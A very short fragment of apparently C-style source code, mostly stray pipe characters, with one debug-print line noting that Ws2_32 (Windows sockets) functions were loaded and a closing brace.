|
|
|
|
|
|
|
|
PUTS( "Loaded Ws2_32 functions" )
|
|
|
|
|
}
|
|
|
|
|